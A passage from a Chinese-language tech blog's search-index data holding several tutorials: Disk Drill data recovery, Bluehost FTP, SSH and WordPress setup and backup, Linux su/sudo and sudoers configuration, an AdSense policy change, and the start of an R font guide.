Disk Drill 這套多功能檔案救援軟體的簡單介紹。\n救回刪除的檔案 這個功能是 Disk Drill 最主要的功能，他可以掃描磁碟的底層資料，將剛剛被刪除的檔案救回來。\nStep 1\n首先從磁碟列表中選擇想要進行救援的磁碟。\nStep 2\n接著進行磁碟掃描，這個動作可以找尋磁碟中剛刪除的檔案。\nStep 3\n勾選要復原的檔案後，就可以進行回復的動作。\nStep 4\n檔案回復完成。\nDisk Drill 除了可以救回電腦硬碟上的資料之外，也可以對手機、USB 隨身碟、記憶卡等裝置進行救援。\nDisk Drill 的 Recovery Vault 檔案保護功能是一個類似資源回收桶的功能，它可以自動將刪除的檔案備份起來，若不幸誤刪檔案時，可以立即救回，不需要費時的掃描動作。\n免費版的 Disk Drill 可以進行檔案的掃描，若要進行檔案的回復則需要付費的 PRO 版才行。\n其他功能（Mac 版） Disk Drill 有分 Windows 版與 Mac OS X 版，而 Mac OS X 版的 Disk Drill 好像多了一些小功能，以下大約介紹一下。\n首先是磁碟清理的功能，也就是掃描整個磁碟，把硬碟中比較大型的檔案列出來，提供使用者參考，方便把佔空間又沒用到的大檔案刪除。\nDisk Drill 還可以掃描磁碟中重複的檔案，協助使用者把多餘的副本檔刪除。\nDisk Drill 可以進行簡單的備份動作，將硬碟的資料打包成 DMG 壓縮檔保存。\n這個是 Mac OS X 上的 Disk Drill 系統圖示，這裡會顯示一些硬碟的狀態資訊。\nDisk Drill 可以讓使用者建立一個可開機的救援 USB 隨身碟，萬一電腦硬碟發生問題時，可以用救援 USB 隨身碟開機，搶救硬碟上的資料。\n以上就是 Disk Drill 的簡單介紹，如果想要購買的人，可以使用優惠網址購買。\n","permalink":"https://blog.gtwang.org/useful-tools/disk-drill-data-recovery-tool-review/","summary":"\u003cp\u003eDisk Drill 是一套多功能的檔案救援軟體，除了可以救回刪除的檔案，還可以找出硬碟中重複的檔案、備份檔案以及清理磁碟垃圾等。\u003c/p\u003e\n\u003cp\u003e最近我收到 \u003ca href=\"https://www.cleverfiles.com/\"\u003eDisk Drill\u003c/a\u003e 官方的軟體測試邀請函，他們提供 5 套免費的 Disk Drill PRO 的 Windows 版軟體授權，還有 75 折的優惠網址，贈送給 G. T. Wang 網站的讀者。\u003c/p\u003e","title":"[75 折] Disk Drill 多功能檔案救援軟體，救回刪除的檔案"},{"content":"這裡介紹 Bluehost 網頁主機空間的 FTP 帳號管理，以及如何使用 FTP 將檔案上傳至伺服器。\nBluehost 的 shared hosting 入門方案有提供非常完整的 FTP 帳號管理以及 TLS 安全加密連線功能，可非常方便且安全地管控多個 FTP 帳號的存取權限。以下是 FTP 帳號的管理與使用教學。\nStep 1\n在「hosting」頁面中，選擇「cpanel」子頁面。\nStep 2\n在「files」選單中，選擇「FTP Manager」。\nStep 3\n建立一般使用者用的 FTP 帳號，並設定登入的密碼、目錄以及硬碟空間限制。\nStep 4\n在 FTP 帳號新增完成之後，在下方的帳號列表就可以看到新的帳號資訊。除了一般使用者的 FTP 帳號之外，下方還有兩個系統管理用的特殊帳號，這兩個帳號是用來管理所有的檔案以及系統記錄檔用的特殊帳號。\nStep 5\n查詢伺服器的 IP 位址，在「hosting」中的「manage ips」頁面中，將自己的伺服器 IP 位址複製下來。\nStep 6\n建立好 FTP 帳號，並且查到自己的伺服器 IP 之後，就可以開始使用 FTP 上傳檔案了。這裡我以 Linux 上面的 FileZilla 這套 FTP 軟體做示範，首先打開 FileZilla 軟體，連線的主機就填入上面查到伺服器 IP 位址，而使用者名稱與密碼則是剛剛上面建立的那一組，連接埠就填標準的 21，填好之後就可以立即連線了。\nStep 7\nBluehost 的 FTP 伺服器是使用安全加密的 TLS 連線，所以建立連線時，會出現類似這樣的憑證確認訊息，請點選「確認」繼續。\nStep 8\nFTP 連線建立之後，就可以開始傳送檔案了。\n一般的 FTP 帳號連上伺服器之後，只能看到自己加目錄中的資料，也無法切換至伺服器上其他的目錄（也就是經過 chroot 之後的環境），這樣可以讓不同使用者獨立管理自己的檔案，不會互相干擾。\nFileZilla 是一套開放原始碼且跨平台的 FTP 軟體，如果是 Windows 或是 Mac OS X 的使用者，也可以免費下載使用。而若是 Mac OS X 的使用者還可以考慮 Cyberduck。\n","permalink":"https://blog.gtwang.org/web-hosting/bluehost-shared-hosting-ftp-account-tutorial/","summary":"\u003cp\u003e這裡介紹 \u003ca href=\"https://www.bluehost.com/\"\u003eBluehost\u003c/a\u003e 網頁主機空間的 FTP 帳號管理，以及如何使用 FTP 將檔案上傳至伺服器。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/web-hosting/bluehost-shared-hosting-registration-tutorial/\"\u003eBluehost 的 shared hosting 入門方案\u003c/a\u003e有提供非常完整的 FTP 帳號管理以及 TLS 安全加密連線功能，可非常方便且安全地管控多個 FTP 帳號的存取權限。以下是 FTP 帳號的管理與使用教學。\u003c/p\u003e","title":"Bluehost 網頁主機空間 FTP 帳號管理與使用教學"},{"content":"這裡介紹 Linux 中 su 與 sudo 指令的使用方式，並提供幾個常用的範例。\nLinux 系統最高權限的管理者帳號為 root，也稱為超級使用者（superuser）帳號，這個帳號在使用上沒有任何限制，管理者只要取得這個帳號就可以對系統進行各種變更，例如格式化與掛載硬碟、新增或刪除使用者帳號、更改各種系統服務、更新系統等。\n然而由於 root 權限非常高，縱使是 Linux 老手在使用時也必須非常小心，若下錯指令是有可能造成系統損毀的，因此在管理 Linux 系統時，通常不建議直接使用 root 登入系統進行所有的操作，有些人為了方便甚至使用 root 登入後進入 X Window 的桌面環境，這會讓整個桌面環境中所有的應用程式都直接取得 root 權限，任何程式都可以在未經許可的狀況下存取或更改系統的任何設定，對於 Linux 伺服器來說這樣的動作是非常危險的。\n為了避免不小心把系統搞砸，降低出錯的機率，在維護 Linux 系統時標準的作法是使用一般的帳號登入，遇到需要 root 權限時，再使用 su 或 sudo 取得較高的權限進行系統變更，以下是 su 與 sudo 的用法教學。\nsu 指令 su 指令可以讓一般的 Linux 使用者取得 root 權限，取得 root 權限的使用者就如同 root 一樣可以對系統進行各種變更動作。\nsu 單純執行 su 並輸入 root 的密碼之後，就可以取得 root 權限，在不過這種情況下，雖然使用者帳號的 user id 變成 0（root 的 user id），但是其他的環境變數並沒有跟著改變。\n若只是單純需要以 root 權限做一些更改檔案等小動作，以上面這種簡單的 su 用法就夠了，而如果是要進行比較複雜的系統管理，牽涉到許多 root 帳號的環境變數（例如 PATH 或 MAIL 等）時，就要改用下面這種方式：\nsu - 在 su 後面加上一個減號後，就可以仿照 root 登入的方式，進入一個完整的 shell 環境，這個新的 shell 環境就跟使用 root 重新登入一樣。\n不管是使用 su 或是 su -，都會開啟一個新的 shell 環境，在完成所有需要 root 權限的工作之後，要執行 exit 或是按下 Ctrl + d 才會離開該 shell。若在進入新的 shell 之後，僅只需要執行一行簡單的指令，執行完後就馬上跳出，可以使用 -c 參數來指定要執行的指令內容：\nsu - -c \u0026#34;service nginx reload\u0026#34; 上面這個例子就會仿照重新登入的方式進到 root 帳號的 shell，並執行 service nginx reload，完成後就自動離開 root 的 shell。\nsu 除了可以讓一般使用者取得 root 權限之外，也可以取得其他的帳號權限，我們可以在執行 su 時指定帳號名稱：\nsu seal 上面這行指定可以取得 seal 這個帳號的權限，而這裡在輸入密碼時就要輸入 seal 這個帳號的密碼。如果您是在 root 權限之下透過 su 指令來取得一般使用者的權限，這種狀況就可以不需要輸入該使用者的密碼。\nsudo 指令 sudo 指令類似 su，也是可以用來取得 root 或是其他帳號的權限，不過它在取得 root 或其他帳號權限的時候，是輸入自己的密碼，而不是 root 或其他帳號的密碼，使用上比較方便。\nUbuntu Linux 系統預設在安裝時基於安全考量，並不會啟用 root 帳號，無法用 root 直接登入系統，所有的系統管理動作都是透過 sudo 來取得 root 權限。\nsudo 在使用上會跟 su -c 類似，執行完指定的指令之後就會自動離開，這個例子會以 root 權限執行 ls，查看一般使用者無法讀取的目錄：\nsudo ls /usr/local/protected 若要查看 gtwang 這個使用者家目錄的檔案，可以切換為該帳號的權限之後，再用 ls 查看：\nsudo -u gtwang ls ~gtwang 切換為 www 這個網頁伺服器用的系統帳號權限，編輯網頁檔案：\nsudo -u www vi ~www/htdocs/index.html sudo 也可以用 -g 參數來取得指定群組的權限，例如取得 adm 群組權限後，查看系統的記錄檔：\nsudo -g adm view /var/log/syslog 等待十五分鐘之後重新開機：\nsudo shutdown -r +15 \u0026#34;quick reboot\u0026#34; 許多人會習慣拿 sudo 與 su 放在一起使用，這樣藉由 su 取得一個新的 shell，而且也不用輸入 root 的密碼，通常在 Ubuntu Linux 中很常用：\nsudo su - /etc/sudoers 設定檔 sudo 可以在不需要 root 密碼的情況下取得 root 權限，當然在正常的 Linux 系統中不可能讓所有的使用者都可以使用 sudo，它是依據 /etc/sudoers 設定檔來管控的，只有在這個檔案中有被特別設定的使用者或群組才能使用 sudo 指令。\n在編輯 /etc/sudoers 的時候，請使用 visudo 這個指令來開啟 vi 編輯器進行編輯，系統會在編輯完成後自動檢查設定檔的語法是否正確，避免錯誤的語法導致 sudo 無法使用。\n個別使用者設定 /etc/sudoers 對個別使用者設定的語法格式如下：\n帳號名稱 來源主機=(可切換帳號) 可執行的指令 其中四的欄位的意義為：\n帳號名稱：可以使用 sudo 的帳號名稱。 來源主機：限制使用者從特定網路主機連線時，才能使用 sudo 指令，可用來防止入侵者從不明的主機登入攻擊。若指定為 ALL 則代表不限制來源主機。 可切換帳號：可以取得哪些帳號的權限。若指定為 ALL 則代表可以取得任何帳號的權限。 可執行的指令：在取得特殊權限後，可以執行的指令。若指定為 ALL 則代表可以執行任何令。 若要讓 gtwang 這個帳號可以使用 sudo 執行所有的指令，則在 /etc/sudoers 中加入這一行設定：\ngtwang ALL=(ALL) ALL 基本上讓使用者允許使用 sudo 指令取得 root 權限，就等同於讓該使用者成為一位系統管理者了，所以別隨便開放 sudo 給一般的使用者，尤其是對於 Linux 不甚熟悉的人。\n假設 accmgr 這個管理者是專門幫使用者重新這定密碼的，我們就可以透過這樣的設定限制 accmgr 這個管理者只能使用 root 權限執行 passwd 來更改使用者的密碼，而不能做其他的事情：\naccmgr ALL=(root) /usr/bin/passwd 上面這種寫法有一個漏洞，就是 accmgr 也可以更改 root 帳號的密碼，如果 root 的密碼可被任意更改，整個系統的管理權限也會被取得，所以我們必須防止 accmgr 更動 root 的密碼：\naccmgr ALL=(root) !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root 這裡我們將可執行的指令加上更多的限制，首先是不可以直接執行 /usr/bin/passwd，僅允許 /usr/bin/passwd 加上一般的使用者帳號，然後將 /usr/bin/passwd root 這個更改 root 密碼的指令也禁止。\n群組設定 如果要對特定群組底下的所有帳號一次開放權限，可以使用這樣的群組設定語法：\n%群組名稱 來源主機=(可切換帳號) 可執行的指令 群組設定的語法跟個別帳號的方式相似，只不過群組的名稱在指定時前面要加上一個百分比 % 的符號，而其餘欄位則都相同。例如若要讓 wheel 群組中的所有使用者都可以使用 sudo，則加入：\n%wheel ALL=(ALL) ALL 不用輸入密碼 如果想要讓特定的使用者可以在不需要輸入密碼的情況下，直接使用 sudo，可以加入 NOPASSWD 的設定，例如：\ngtwang ALL=(ALL) NOPASSWD:ALL 讓整個群組的使用者都不需要密碼：\n%wheel ALL=(ALL) NOPASSWD:ALL 在沒有加入 NOPASSWD 的設定之下，如果使用者在五分鐘之內連續使用 sudo 好幾次，那麼只有在第一次使執行時需要輸入密碼，隨後再次執行 sudo 時，系統就不會要求使用者重複輸入，這樣的設計是預設五分鐘之內連續執行的指令應該都是同一人所為，所以不用再次輸入密碼，但若是超過五分鐘之後，就要重新驗證密碼。\n使用別名 有的時候 /etc/sudoers 的設定比較複雜，例如遇到很多的使用者以及指令組合的狀況時，我們可以使用別名（alias）的方式來管理設定：\nUser_Alias MYACC = accmgr, gtwang, seal Cmnd_Alias MYEXE = !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root MYACC ALL=(root) MYEXE 這裡我們使用 User_Alias 建立一個帳號別名 MYACC，其內容就是等號後方的那些帳號名稱，而 Cmnd_Alias 則是建立指令的別名，若要建立來源主機的別名則可用 Host_Alias，所有的別名都要以大寫英文字母來命名，這樣的話就可以將冗長的設定簡化，並且重複使用，日後要修改也會比較方便。\n參考資料 Unixmen 鳥哥的 Linux 私房菜 凍仁的筆記 ","permalink":"https://blog.gtwang.org/linux/sudo-su-command-tutorial-examples/","summary":"\u003cp\u003e這裡介紹 Linux 中 \u003ccode\u003esu\u003c/code\u003e 與 \u003ccode\u003esudo\u003c/code\u003e 指令的使用方式，並提供幾個常用的範例。\u003c/p\u003e\n\u003cp\u003eLinux 系統最高權限的管理者帳號為 \u003ccode\u003eroot\u003c/code\u003e，也稱為超級使用者（superuser）帳號，這個帳號在使用上沒有任何限制，管理者只要取得這個帳號就可以對系統進行各種變更，例如格式化與掛載硬碟、新增或刪除使用者帳號、更改各種系統服務、更新系統等。\u003c/p\u003e","title":"Linux 的 su 與 sudo 指令教學與範例"},{"content":"這裡介紹如何在 Bluehost 的網頁主機空間中，一鍵快速備份與還原整個 WordPress 網站與資料庫。\n一個網站要能夠長期正常營運，除了積極充實內容之外，定期做好完善的備份措施也是非常重要的，沒有任何一個主機商可以保證伺服器不會出問題，連知名 Google 也曾經因為資料中心遭到雷擊而造成資料永久損毀，所以不管是使用那一家的主機空間，都一定要定期將資料做好備份。\n以下我們將介紹在 Bluehost 的 shared hosting 網頁空間中備份整個 WordPress 網站的方法。\n一鍵備份 WordPress Step 1\n在 Bluehost 中安裝好 WordPress 之後，管理介面上方就會有一個「WordPress tools」工具選單，在這個工具集中有一個「Backups」備份功能，可以讓使用者快速備份 WordPress 網站。\n首先選擇要備份的網站，然後按下「Create New」建立新的備份檔。\nStep 2\n建立好的 WordPress 備份檔案會顯示在下方，每個備份檔都會標示備份的日期與時間，使用者可以從這些備份的檔案中回覆完整的網站，當然如果備份太多的時候也以將不要的刪除。\nStep 3\n點選備份檔的「Restore」按鈕即可進行 WordPress 網站的回覆動作，這時後會跳出一個確認訊息，告知使用者在使用備份檔回覆之後，會將目前的網站內容覆蓋掉，整個網站會回覆成備份檔中的內容，按下「確定」之後就會開始進行備份檔的回覆。\nStep 4\n回覆完成後，會跳出重新載入網頁的訊息，按下「確定」繼續。這時候 WordPress 網站應該就已經回覆成備份檔中的內容了。\nBluehost 並沒有限制這裡放置備份檔的個數，只要空間足夠，使用者可以放好幾個備份檔在這裡。\n一般來說我們會定期使用這個備份功能，建立多個備份檔留存，以防萬一自己不小心把網站搞砸的時候，還可以從這裡找到舊的內容來進行回覆，尤其是在 WordPress 的版本升級時，一定要先備份好再升級。\n另外網站在做一些小變動時，例如安裝一些外掛、更換佈景主題等，有這種狀況也是會有風險的，建議都將網站備份好之後再進行。\n我個人認為網站至少一週備份一次，反正空間很大，多放幾個備份檔沒有什麼影響，備份檔太多的時候就把就的刪掉就好了。\n進階備份 上介紹的 WordPress 一鍵備份事實上就是將 WordPress 所有的檔案與 MySQL 資料庫壓縮成一個備份檔，放在伺服器中的備份目錄下，對於熟悉 Linux 環境的使用者，可以在設定好 SSH 登入功能之後，連線到伺服器上面查看這些備份檔。\nBluehost 預設會將被備份檔放在 ~/backupwordpress/*/ 目錄之下，這個目錄下每一個 .tar.gz 檔就是一個完整的備份檔。\n如果把一個備份檔複製出來，解壓縮之後就會看到一個放置網頁的目錄、一個 .sql 資料庫備份檔，還有一個 MANIFEST 備份資訊檔。一般的 WordPress 網站如果用手動備份的話，也一樣是備份這些資料。\n所以如果想要進行異地備份的話，可以直接將這些 .tar.gz 備份檔直接從伺服器抓下來，存放在自己的硬碟中，未來若要回覆的話，在上傳至伺服器上原來的目錄即可。不過這個狀況應該比較少見，除非是伺服器硬碟損毀，否則直接用伺服器上面的備份檔即可，只是以防萬一若伺服器真的被雷劈了，至少資料都還在。 🙂\n","permalink":"https://blog.gtwang.org/wordpress/bluehost-shared-hosting-wordpress-website-backup-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 \u003ca href=\"https://www.bluehost.com/\"\u003eBluehost\u003c/a\u003e 的網頁主機空間中，一鍵快速備份與還原整個 WordPress 網站與資料庫。\u003c/p\u003e\n\u003cp\u003e一個網站要能夠長期正常營運，除了積極充實內容之外，定期做好完善的備份措施也是非常重要的，沒有任何一個主機商可以保證伺服器不會出問題，連知名 \u003ca href=\"https://www.bbc.com/news/technology-33989384\"\u003eGoogle 也曾經因為資料中心遭到雷擊而造成資料永久損毀\u003c/a\u003e，所以不管是使用那一家的主機空間，都一定要定期將資料做好備份。\u003c/p\u003e","title":"Bluehost 網頁主機空間備份 WordPress 網站與資料庫教學"},{"content":"這裡介紹如何開啟 Bluehost 網頁主機空間的 SSH 登入功能，並設定使用公鑰登入。\nBluehost 的 shared hosting 入門方案有提供使用者以 SSH 登入主機管理檔案的功能，對於熟悉 Linux 指令的使用者來說，有這個功能可以使用在管理上會方便很多。\n開啟 SSH 登入功能 Step 1\n在「hosting」頁面中，選擇「cpanel」子頁面。\nStep 2\n在「security」的分類中，點選「SSH/Shell Access」。\nStep 3\n這個頁面中可以管理 SSH 登入的設定與金鑰，首先點選「Manage SSH Access」。\nStep 4\n選擇「Real shell（Bash）」，並按下「submit」送出設定。\nStep 5\n送出設定後，SSH Shell 會設定為 jailshell，這樣就可以直接使用自己的帳號與密碼透過 SSH 登入伺服器了。\nStep 6\n查詢自己的伺服器 IP 位址與登入的帳號名稱，帳號的名稱可以在「hosting」中的「cpanel」頁面查詢，頁面中的 username 就是登入用的帳號名稱，密碼就跟 Bluehost 網頁登入時用的密碼一樣。\n而伺服器的 IP 位址則可在「hosting」的「manage ips」頁面查到。\nStep 7\n查到登入的主機與帳號之後，就可以直接使用 SSH 登入了，以我的例子來說就是執行：\nssh gtwangor@66.147.244.141 如果您之前在架設網站時有設定好 DNS（請參考 Bluehost 網頁主機空間基本設定與 WordPress 安裝教學），也可以使用設定好的網域名稱：\nssh gtwangor@bluehost.gtwang.org 匯入 SSH 登入用的公鑰 Step 1\n從上面的 SSH 管理介面頁面中，點選「Manage SSH Keys」後，就可以進入這個 SSH 金鑰管理頁面。\n這裡可以讓使用者產生 SSH 登入用的金鑰，或是將既有的金鑰匯入。以下我示範將既有的金鑰匯入的操作方式。\n一般來說如果同時要使用 SSH 金鑰的方式登入多台主機，比較方便的做法是產生一組金鑰（私鑰與公鑰），將公鑰放置在每一台想要登入的主機中，這樣就不用每次都產生新的金鑰，管理上比較方便，當然這樣的話私鑰就要保護好，不能外洩。\nStep 2\n找出自己使用登入 SSH 用的金鑰，把公鑰的內容複製後貼在這個頁面中。若在 Linux 系統下的話，公鑰通常是放在 ~/.ssh/id_dsa.pub 這個檔案中，如果以前沒有使用過金鑰認證登入的人，可以參考 SSH 公開金鑰認證教學。\n由於單純的主機登入只需要用到公鑰，所以上方私鑰的部分不需要填，只需要貼上公鑰即可，完成後按下「Import」匯入。\nStep 3\n回到上一頁管理 SSH 金鑰的頁面，這時候會看到剛匯入的公鑰，其狀態是呈現「not authorized」，表示這一支公鑰尚未被用來做為登入認證使用，請點選右方的「Manage Authorization」。\nStep 4\n點選「Authorize」啟用這支公鑰的認證功能，這樣 SSH 的公鑰認證設定就完成了。\nStep 5\n使用公鑰認證的方式登入 SSH，正常來說現在登入主機就可以不需要打密碼了。\n","permalink":"https://blog.gtwang.org/linux/bluehost-shared-hosting-ssh-login-setup-tutorial/","summary":"\u003cp\u003e這裡介紹如何開啟 Bluehost 網頁主機空間的 SSH 登入功能，並設定使用公鑰登入。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.bluehost.com/\"\u003eBluehost\u003c/a\u003e 的 \u003ca href=\"/web-hosting/bluehost-shared-hosting-registration-tutorial/\"\u003eshared hosting\u003c/a\u003e 入門方案有提供使用者以 SSH 登入主機管理檔案的功能，對於熟悉 Linux 指令的使用者來說，有這個功能可以使用在管理上會方便很多。\u003c/p\u003e","title":"Bluehost 網頁主機空間 SSH 登入設定教學"},{"content":"本篇介紹如何在 Bluehost 網頁空間中安裝 WordPress，自己架設網站或部落格。\nBluehost 是一家 WordPress 官方推薦的主機商，其對於 WordPress 的支援度還不錯，以下我們示範如何在 Bluehost 的主機空間中快速安裝 WordPress 架站。\n這裡我所使用的環境是 Bluehost 的 shared hosting 入門方案，購買教學請參考Bluehost 網頁主機空間註冊與購買教學。\n這篇文章的教學適用於原本就有網址的狀況，如果您沒有預先申請好自己的網域名稱（例如去 GoDaddy 購買網址），應該就不適用。\nStep 1\n在 Bluehost 的「domains」頁面中，選擇「subdomains」子頁面，在這裡建立一個子網域，也就是一般的網址，首先自己取一個主機名稱並將其填入，最常見的主機名稱就是 www，而主機名稱接上主要的網域名稱之後，就是完整的網址，例如：www.gtwang.org。\n除了填入一個主機名稱之外，還有一個欄位則是主機上的網頁目錄名稱，這個只是伺服器內部用的目錄名稱，對於網址沒有影響，保持預設值即可（跟主機名稱相同）。填寫完之後，記得按下綠色的「create」按鈕。\n這裡我用 bluehost 這個主機名稱做示範，我的網域是 gtwang.org，所以整個完整的網址就是 bluehost.gtwang.org。\nStep 2\n確認子網域（subdomain）有成功建立完成。\nStep 3\n在 Bluehost 的「hosting」頁面中，選擇「manage ips」子頁面，從這裡查詢自己的伺服器 IP 位址並且把它複製起來。\nStep 4\n把上面的 IP 位址與網址的對應加入 DNS 紀錄中。這部份會跟自己所使用的 DNS 代管服務有關，我個人目前是使用 CloudFlare 的 DNS 代管服務，所以在 CloudFlare 的管理網頁中加入一筆 A 紀錄，把剛剛選好的網址（bluehost.gtwang.org）對應到伺服器的 IP 位址。\nStep 5\n加入了 DNS 的 A 紀錄之後，最好先測試一下看看設定是否正確，使用 nslookup 查詢網址的正解：\nnslookup bluehost.gtwang.org Server:\t127.0.1.1 Address:\t127.0.1.1#53 Non-authoritative answer: Name:\tbluehost.gtwang.org Address: 66.147.244.141 正常的話應該可以查出剛剛我們設定好的伺服器 IP 位址，如果查不出這個 IP 位址，就表示 DNS 設定有問題，要再檢查前面的設定。\n也可以使用 dig 指令來檢查：\ndig bluehost.gtwang.org ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.10.3-P4-Ubuntu \u0026lt;\u0026lt;\u0026gt;\u0026gt; bluehost.gtwang.org ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 50789 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 3072 ;; QUESTION SECTION: ;bluehost.gtwang.org.\tIN\tA ;; ANSWER SECTION: bluehost.gtwang.org.\t300\tIN\tA\t66.147.244.141 ;; Query time: 36 msec ;; SERVER: 127.0.1.1#53(127.0.1.1) ;; WHEN: Thu Sep 29 19:41:46 CST 2016 ;; MSG SIZE rcvd: 64 Step 6\n接著開始安裝 WordPress，在「hosting」頁面中，選擇「website」子頁面，這裡有許多的網站安裝工具可以選擇，可以快速安裝各種 CMS，例如 WordPress、concrete5、weebly、Drupal、Joomla、Magento 與 PrestaShop 等。我們選擇安裝 WordPress 這個一般網站最常用的 CMS。\nStep 7\n進入 Bluehost Marketplace 頁面，點選「Get Started」開始安裝 WordPress。\nStep 8\n選擇網站的網址，也就是選擇剛剛上面設定的那個網址，以我的例子來說就是 bluehost.gtwang.org 這一個。右方的欄位可設定 WordPress 的安裝路徑，假設在這裡填入 myfolder，那麼安裝完 WordPress 之後，網址就會是 http://bluehost.gtwang.org/myfolder/ 這樣包含路徑的網址，不過這種狀況不常用，一般單純的網站留空白即可。\n這張網頁的下方有許多 Bluehost 的服務推銷廣告，那些可以不必理會它。\nStep 9\n選擇好網址之後，Bluehost 會先檢查網址的有效性，若沒有出現錯誤訊息，即可點選「Next」繼續下一步。\nStep 10\n設定網站的名稱，並設定管理者帳號與密碼。下方有三個可勾選的選項，第一個是自動建立 MySQL 資料庫，第二個是告知使用者如果重複安裝 WordPress，可能會導致舊的資料被覆蓋掉，而第三個則是 GPL 的使用條款，這三個選項請全部都打勾，接著點選「Install」進行安裝。\nStep 11\n等待 WordPress 的安裝，等待的時間通常不會很久，大約一分鐘就完成了。\nStep 12\nWordPress 安裝完成，點選右邊的「here」超連結。\nStep 13\n右方的資訊就是新網站的網址，還有管理者帳號與密碼，請點選該網址。\nStep 14\n使用上面設定的管理者帳號與密碼進行登入。\nStep 15\n登入後就可以看到 WordPress 的管理介面了，Bluehost 提供的 WordPress 一開始會協助使用者進行基本的設定，首先詢問這個網站是商業用途（Business）還是個人使用（Personal）。\n這裡我示範個人使用（Personal）的設定。\n當然如果您已經對於 WordPress 的操作介面很熟悉的話，可點選「I don\u0026rsquo;t need help」跳過這些設定步驟，直接使用 WordPress。\nStep 16\n填入網站名稱以及網站簡述。\nStep 17\n是否要馬上撰寫一篇文章？想貼文的人可以選擇「Yes」。\nStep 18\n是否要再網站中加入「聯絡我們」的功能？需要的人可以選「Yes」。\nStep 19\n是否要連接到 WordPress.com，增強網站安全性與效能，並獲取一些附加功能，需要的人可以選擇「Connect to WordPress.com」。（其實這就是安裝 Jetpack 外掛）\nStep 20\n填寫商業用的聯絡資訊，不需要的話可跳過。\nStep 21\n設定完成，如果想要調整網站的外觀與配色，可以點選「Customize your size」從佈景主題的配色選項來調整，另外也可以自行從左側的「Appearance」選單中耕畫佈景主題。\nStep 22\n在設定的過程中，可以直接打開首頁的網址，看看目前網站調整的成果，而現階段這些調整效果都尚未公開，只有自己才看得到，如果沒有登入的訪客目前是看不到實際的內容的。\nStep 23\n完成所有網站的設定之後，就可以準備公開網站了。在網站尚未公開時，管理頁面上方應該都會有一條訊息：「Your site is currently displaying a “Coming Soon” page」，只要點選其有右方的「click here」就會正式公開網站。\nBluehost 還有提供專門管理 WordPress 的後台工具，在安裝完 WordPress 之後就會出現在管理頁面上。\n其中還有一鍵備份與還原 WordPress 的功能，可以協助使用者輕鬆備份整個網站的檔案與資料庫。\n以上就是在 Bluehost 的網頁空間安裝 WordPress 的過程教學。\n","permalink":"https://blog.gtwang.org/wordpress/bluehost-shared-hosting-basic-setup-wordpress/","summary":"\u003cp\u003e本篇介紹如何在 Bluehost 網頁空間中安裝 WordPress，自己架設網站或部落格。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.bluehost.com/\"\u003eBluehost\u003c/a\u003e 是一家 WordPress 官方推薦的主機商，其對於 WordPress 的支援度還不錯，以下我們示範如何在 Bluehost 的主機空間中快速安裝 WordPress 架站。\u003c/p\u003e","title":"Bluehost 網頁主機空間基本設定與 WordPress 安裝教學"},{"content":"最近 Google AdSense 修改廣告刊登位置的政策，解除以往每張網頁只能放 3 個廣告的限制，現在網頁中一次可以放 3 個以上的廣告！\n長久以來 Google AdSense 的廣告刊登政策中都有內容廣告單頁數量上限的規定，一張網頁只能放置 3 個內容廣告單元、3 個連結單元與 2 個搜尋框，這個規定從我開始寫網站以來一直都存在，下面這張圖是我從 WayBack Machine 抓出來的，這是 2014 年的 Google AdSense 廣告刊登位置政策內容。\n不過最近 Google 突然把這個規定解除了，新的 Google AdSense 廣告刊登位置政策中，內容改為「確保廣告刊登位置合宜」：\n原本的 AdSense 廣告數量限制在新的政策內容中已經被刪除了，但是卻多了一些新規定，簡單來說現在您可以在網頁中放置任意數量的 AdSense 廣告，不過廣告的內容不可以超過網頁本身的內容，不然 Google 還是會限制廣告的放送。另外原本一頁只能放置一個 300×600 廣告的限制也不見了，現在都會以網頁內容的品質來決定廣告的擺放量。\n但是別以為解除這項限制就可以自由地在網頁中塞入很多的廣告，如果一個網站原本就沒有多少內容，可能放了三個廣告就已經超過它的網站內容了，在舊政策之下沒有太大的問題，但在新的政策之下可以有兩個選擇：一個是充實網站內容，另外一個則是減少 AdSense 的廣告數量，因為 Google 的新政策並沒有說一張網頁至少可以放三個廣告，現在全憑網頁內容來決定，別誤會他的意思。\n當然如果您的網站本身內容就相當豐富，三個廣告根本不夠用的話，現在就可以放心加入更多的廣告單元了。以往若要在網頁中擺放三個以上的 AdSense 廣告，都要經過 AdSense 代理商的特別申請，並且支付整體收益的一、兩成給那些 AdSense 代理商，透過這樣的方式換取特殊的刊登權限（刊登三個以上的廣告），不過現在 Google 官方開放了刊登數量的限制，比較大型的網站可能就不需要找代理商了。\n參考資料 SEJ ","permalink":"https://blog.gtwang.org/web-development/google-removes-adsense-ad-limit-policy/","summary":"\u003cp\u003e最近 Google AdSense 修改廣告刊登位置的政策，解除以往每張網頁只能放 3 個廣告的限制，現在網頁中一次可以放 3 個以上的廣告！\u003c/p\u003e\n\u003cp\u003e長久以來 Google AdSense 的廣告刊登政策中都有內容廣告單頁數量上限的規定，一張網頁只能放置 3 個內容廣告單元、3 個連結單元與 2 個搜尋框，這個規定從我開始寫網站以來一直都存在，下面這張圖是我從 WayBack Machine 抓出來的，這是 2014 年的 Google AdSense 廣告刊登位置政策內容。\u003c/p\u003e","title":"Google AdSense 廣告數量限制解除，可放超過 3 個以上的廣告！"},{"content":"這裡介紹如何在使用 R 畫圖時，自行指定中文字型，讓圖形更美觀，同時亦可解決亂碼問題。\n在使用 R 繪圖時，若需要在圖形中加入中文字，若字型沒有設定好，中文字就很容易出問題。\n這是一個很簡單的繪圖範例，我們在座標軸的名稱與圖形標題中加入中文字：\nplot(runif(10), xlab = \u0026#34;橫軸\u0026#34;, ylab = \u0026#34;縱軸\u0026#34;, main = \u0026#34;中文標題\u0026#34;) 以我的測試結果而言，在 Windows 與 Linux 中可以正常顯示，但在 Mac OS X 中就會變成這樣：\n使用 family 指定字型 如果出現這種中文無法顯示的問題，可以用 family 參數指定字型：\nplot(runif(10), xlab = 